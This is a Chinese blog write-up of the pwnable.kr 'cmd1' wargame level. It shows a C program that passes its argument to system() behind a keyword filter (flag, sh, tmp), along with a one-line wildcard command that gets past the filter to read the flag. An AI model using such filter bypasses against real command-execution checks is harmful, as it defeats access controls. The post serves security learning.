美文网首页
pwnable.kr [Toddler's Bottle

pwnable.kr [Toddler's Bottle

作者: Umiade | 来源:发表于2017-06-14 23:31 被阅读71次

    Mommy! what is PATH environment in Linux?

    ssh cmd1@pwnable.kr -p2222 (pw:guest)

    没搞懂这题和环境变量有什么关联,不过还是要珍惜这最后一道水题。

    先看源码 cmd1.c:

    #include <stdio.h>
    #include <string.h>
    
    int filter(char* cmd){
        int r=0;
        r += strstr(cmd, "flag")!=0;
        r += strstr(cmd, "sh")!=0;
        r += strstr(cmd, "tmp")!=0;
        printf("r= %d", r);
        return r;
    }
    int main(int argc, char* argv[], char** envp){
        putenv("PATH=/fuckyouverymuch");
        if(filter(argv[1])) return 0;
        system( argv[1] );
        return 0;
    }
    
    

    上述代码段意为 argv[1] 中不含 "flag","sh","tmp",就可以让系统执行 argv[1] 所含字串表示的命令。

    注 1. strstr( str1, str2 ) 函数功能为判断 str2 是否为 str1 的子串,是则返回 str2 在 str1 中首次出现的地址;否则返回 NULL 。
    注 2. putenv(char *envvar) 用来改变或增加环境变量的内容。参数envvar的格式为envvar=value,如果该环境变量原先存在,则变量内容会依参数envvar改变,否则此参数内容会成为新的环境变量。参数envvar指定的字符串会变成环境变量的一部分,如果修改这个字符串,环境变量也会跟着被修改。

    这里调用 putenv 的作用大概只是让我们不能直接打命令而已?...(例如 'cat xxx' 要变成 '/bin/cat xxx')
    我们期望执行的命令是 /bin/cat flag ,因为传递的参数中不能出现 "flag" ,所以我们可以用通配符, 构造命令:

    cmd1@ubuntu:~$ ./cmd1 "/bin/cat fla?"
    mommy now I get what PATH environment is for :)
    
    
    

    相关文章

      网友评论

          本文标题:pwnable.kr [Toddler's Bottle

          本文链接:https://www.haomeiwen.com/subject/hdzeqxtx.html